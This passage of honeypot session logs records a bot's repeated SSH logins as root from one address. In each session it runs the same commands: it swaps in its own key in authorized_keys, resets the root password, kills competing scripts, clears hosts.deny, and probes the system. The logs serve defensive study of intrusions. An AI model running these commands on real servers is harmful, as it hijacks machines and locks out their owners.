$7}'"},{"seq":10,"at":"2026-08-27T01:56:49.103497+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T01:56:49.623193+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T01:56:50.718314+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T01:56:51.235465+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T01:56:51.843452+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T01:56:52.355280+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T01:56:52.714312+00:00","kind":"output","latency_ms":null,"data":" 01:56:52 up 6 days, 22:46, 0 user, load average: 0.1, 0.07, 0.12\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T01:56:53.227398+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T01:56:53.892169+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T01:56:54.407621+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T01:56:54.950576+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T01:56:55.468082+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T01:56:56.324464+00:00","kind":"output","latency_ms":null,"data":"top - 01:56:56 up 6 days, 22:47, 0 user, load average: 0.1, 0.07, 0.12\nTasks: 121 total, 1 running, 120 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 8738 free, 7149 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T01:56:56.849577+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T01:56:57.097624+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T01:56:57.608761+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T01:56:58.256876+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T01:56:58.772352+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T01:56:59.271724+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":29,"at":"2026-08-27T01:56:59.897816+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T01:57:01.254356+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T01:57:01.768308+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T01:57:02.702000+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"root","password":"a7758521","method":"password","accepted":true,"tier":"other"}]} {"id":"66d7fd29-009f-483e-9c71-fd43eb389e87","name":"fierce-glacial-falcon","protocol":"ssh","channel_kind":"exec","src_ip":"118.194.228.101","src_port":33574,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":567,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T01:23:09.177870+00:00","ended_at":"2026-08-27T01:23:10.500250+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2304,"events":[{"seq":1,"at":"2026-08-27T01:22:38.760261+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T01:22:39.346096+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T01:22:50.096150+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T01:22:50.794516+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T01:22:51.434901+00:00","kind":"input","latency_ms":null,"data":"echo \"root:fACXj8YQt4UV\"|chpasswd|bash"},{"seq":6,"at":"2026-08-27T01:22:52.006933+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-27T01:22:52.564039+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T01:22:53.281173+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T01:22:53.856680+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T01:22:55.136306+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T01:22:55.697764+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T01:22:56.982197+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T01:22:57.549889+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T01:22:57.890043+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T01:22:58.450453+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T01:22:59.130286+00:00","kind":"output","latency_ms":null,"data":" 01:22:59 up 6 days, 22:13, 0 user, load average: 0.27, 0.21, 0.27\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T01:22:59.688607+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T01:23:00.338280+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T01:23:00.912720+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T01:23:01.627622+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T01:23:02.198501+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T01:23:02.875630+00:00","kind":"output","latency_ms":null,"data":"top - 01:23:02 up 6 days, 22:13, 0 user, load average: 0.27, 0.21, 0.27\nTasks: 113 total, 1 running, 112 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 9373 free, 6514 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T01:23:03.456832+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T01:23:04.233234+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T01:23:04.847672+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T01:23:05.726787+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T01:23:06.284285+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T01:23:06.962554+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":29,"at":"2026-08-27T01:23:07.523259+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T01:23:08.618160+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T01:23:09.178724+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T01:23:10.324652+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"root","password":"Centos2024","method":"password","accepted":true,"tier":"other"}]} {"id":"bfcb867e-cf3f-4e83-b971-4cb292be2b4a","name":"grassy-snowy-wallaby","protocol":"ssh","channel_kind":"exec","src_ip":"118.194.228.101","src_port":36980,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":520,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T01:19:50.901302+00:00","ended_at":"2026-08-27T01:19:52.508860+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2304,"events":[{"seq":1,"at":"2026-08-27T01:19:26.289889+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T01:19:26.850864+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T01:19:33.077176+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T01:19:33.965482+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T01:19:34.482546+00:00","kind":"input","latency_ms":null,"data":"echo \"root:xY345Oh7xliW\"|chpasswd|bash"},{"seq":6,"at":"2026-08-27T01:19:34.997087+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-27T01:19:35.513792+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T01:19:36.210752+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T01:19:36.725728+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T01:19:37.926087+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T01:19:38.458157+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T01:19:39.672542+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T01:19:40.200041+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T01:19:40.897520+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T01:19:41.417910+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T01:19:42.266866+00:00","kind":"output","latency_ms":null,"data":" 01:19:42 up 6 days, 22:09, 0 user, load average: 0.28, 0.33, 0.22\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T01:19:42.784861+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T01:19:43.573438+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T01:19:44.094607+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T01:19:44.894904+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T01:19:45.409269+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T01:19:45.984642+00:00","kind":"output","latency_ms":null,"data":"top - 01:19:45 up 6 days, 22:09, 0 user, load average: 0.28, 0.33, 0.22\nTasks: 129 total, 1 running, 128 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 6196 free, 9691 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T01:19:46.508749+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T01:19:46.897738+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T01:19:47.441551+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T01:19:47.879291+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T01:19:48.402527+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T01:19:48.803748+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":29,"at":"2026-08-27T01:19:49.320953+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T01:19:50.382167+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T01:19:50.902406+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T01:19:52.328438+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"root","password":"!QAZ2wsx3edc","method":"password","accepted":true,"tier":"other"}]} {"id":"633faf4c-a0a3-4be5-b02f-5141979685ad","name":"dapper-nimble-hyrax","protocol":"ssh","channel_kind":"exec","src_ip":"118.194.228.101","src_port":56552,"username":"root2","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":547,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T01:04:49.081590+00:00","ended_at":"2026-08-27T01:04:50.555496+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2270,"events":[{"seq":1,"at":"2026-08-27T01:04:22.438612+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T01:04:23.195912+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T01:04:30.782509+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T01:04:31.109418+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T01:04:31.662683+00:00","kind":"input","latency_ms":null,"data":"echo \"root:lAjDvNHLtbCD\"|chpasswd|bash"},{"seq":6,"at":"2026-08-27T01:04:32.201076+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-27T01:04:32.752809+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T01:04:33.323416+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T01:04:33.862890+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T01:04:35.227205+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T01:04:35.774784+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T01:04:36.808040+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T01:04:37.368093+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T01:04:38.035440+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T01:04:38.573471+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T01:04:39.408675+00:00","kind":"output","latency_ms":null,"data":" 01:04:39 up 6 days, 21:54, 0 user, load average: 0.1, 0.09, 0.07\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T01:04:39.963365+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T01:04:40.489538+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T01:04:41.025198+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T01:04:41.867282+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T01:04:42.403387+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T01:04:43.188860+00:00","kind":"output","latency_ms":null,"data":"top - 01:04:43 up 6 days, 21:54, 0 user, load average: 0.1, 0.09, 0.07\nTasks: 105 total, 1 running, 104 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 7467 free, 8420 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T01:04:43.737769+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T01:04:44.167370+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T01:04:44.704731+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T01:04:45.013459+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T01:04:45.874515+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T01:04:46.611223+00:00","kind":"output","latency_ms":null,"data":"root2"},{"seq":29,"at":"2026-08-27T01:04:47.149564+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T01:04:48.530909+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T01:04:49.082300+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T01:04:50.386785+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"root2","password":"root2","method":"password","accepted":true,"tier":"other"}]} {"id":"8bb1840d-1c97-4d2c-b932-11905850fd71","name":"windswept-civil-francolin","protocol":"ssh","channel_kind":"exec","src_ip":"118.194.228.101","src_port":43432,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":555,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T00:58:29.699246+00:00","ended_at":"2026-08-27T00:58:31.016165+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2247,"events":[{"seq":1,"at":"2026-08-27T00:58:03.176029+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T00:58:03.734419+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T00:58:12.571921+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T00:58:13.051858+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T00:58:13.609043+00:00","kind":"input","latency_ms":null,"data":"echo \"root:38GEfiVqaLLq\"|chpasswd|bash"},{"seq":6,"at":"2026-08-27T00:58:14.170501+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-27T00:58:14.824404+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T00:58:15.146730+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T00:58:15.718213+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T00:58:16.623849+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T00:58:17.286864+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T00:58:18.572782+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T00:58:19.128859+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T00:58:19.604734+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T00:58:20.162593+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T00:58:21.058254+00:00","kind":"output","latency_ms":null,"data":" 00:58:21 up 6 days, 21:48, 0 user, load average: 0.11, 0.11, 0.1\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T00:58:21.615140+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T00:58:22.186640+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T00:58:22.737789+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T00:58:22.996672+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T00:58:23.544543+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T00:58:24.001645+00:00","kind":"output","latency_ms":null,"data":"top - 00:58:23 up 6 days, 21:48, 0 user, load average: 0.11, 0.11, 0.1\nTasks: 107 total, 1 running, 106 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 8738 free, 7149 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 